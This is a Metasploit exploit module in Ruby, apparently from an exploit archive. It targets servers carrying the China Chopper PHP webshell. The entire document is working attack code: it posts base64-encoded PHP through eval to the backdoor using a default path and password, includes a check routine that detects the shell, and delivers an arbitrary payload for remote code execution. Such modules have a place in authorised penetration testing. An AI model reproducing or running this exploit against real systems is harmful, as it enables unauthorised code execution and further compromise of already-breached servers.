China Chopper Caidao PHP Backdoor Code Execution

`  
##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit4 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'China Chopper Caidao PHP Backdoor Code Execution',  
'Description' => %q{  
This module takes advantage of the China Chopper Webshell that is  
commonly used by Chinese hackers.  
},  
'License' => MSF_LICENSE,  
'Author' => ['Nixawk'],  
'References' =>  
[  
['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html'],  
['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html']  
],  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
['Automatic', {}]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Oct 27 2015',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The path of backdoor', '/caidao.php']),  
OptString.new('PASSWORD', [true, 'The password of backdoor', 'chopper'])  
], self.class)  
end  
  
def http_send_command(code)  
code = "eval(base64_decode(\"#{Rex::Text.encode_base64(code)}\"));"  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path),  
'vars_post' => {  
"#{datastore['PASSWORD']}" => code  
}  
})  
end  
  
def check  
flag = Rex::Text.rand_text_alpha(16)  
res = http_send_command("printf(\"#{flag}\");")  
if res && res.body =~ /#{flag}/m  
Exploit::CheckCode::Vulnerable  
else  
Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
print_status("#{peer} - Sending exploit...")  
http_send_command(payload.raw)  
end  
end  
`